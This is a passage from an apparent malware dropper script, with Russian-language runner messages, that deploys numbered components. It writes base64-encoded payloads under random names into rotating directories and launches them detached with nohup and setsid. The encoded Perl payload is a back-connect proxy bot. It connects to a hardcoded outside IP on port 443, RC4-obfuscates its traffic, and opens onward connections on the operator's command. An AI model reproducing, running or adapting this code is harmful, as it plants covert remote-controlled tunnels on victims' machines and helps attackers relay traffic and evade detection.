YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #48 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #48 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 49 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK 